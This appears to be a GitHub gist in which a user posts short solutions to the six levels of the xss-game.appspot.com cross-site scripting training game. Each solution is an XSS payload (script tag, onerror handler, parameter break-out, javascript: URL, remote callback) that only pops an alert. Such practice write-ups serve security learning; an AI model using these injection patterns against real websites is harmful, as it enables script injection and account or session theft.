Skip to content

Instantly share code, notes, and snippets.

@joesavage
Created May 29, 2014 11:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save joesavage/eb8a9d0993d746359710 to your computer and use it in GitHub Desktop.
Save joesavage/eb8a9d0993d746359710 to your computer and use it in GitHub Desktop.
My xss-game.appspot.com Solutions
1. <script>alert('hi')</script>
2. <img src="asda" onerror="alert('hi')"/>
3. #' onerror="alert('hi')"
4. ?timer='),alert('hi
5. /signup?next=javascript:alert('hi')
6. #//www.google.com/jsapi?callback=alert
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment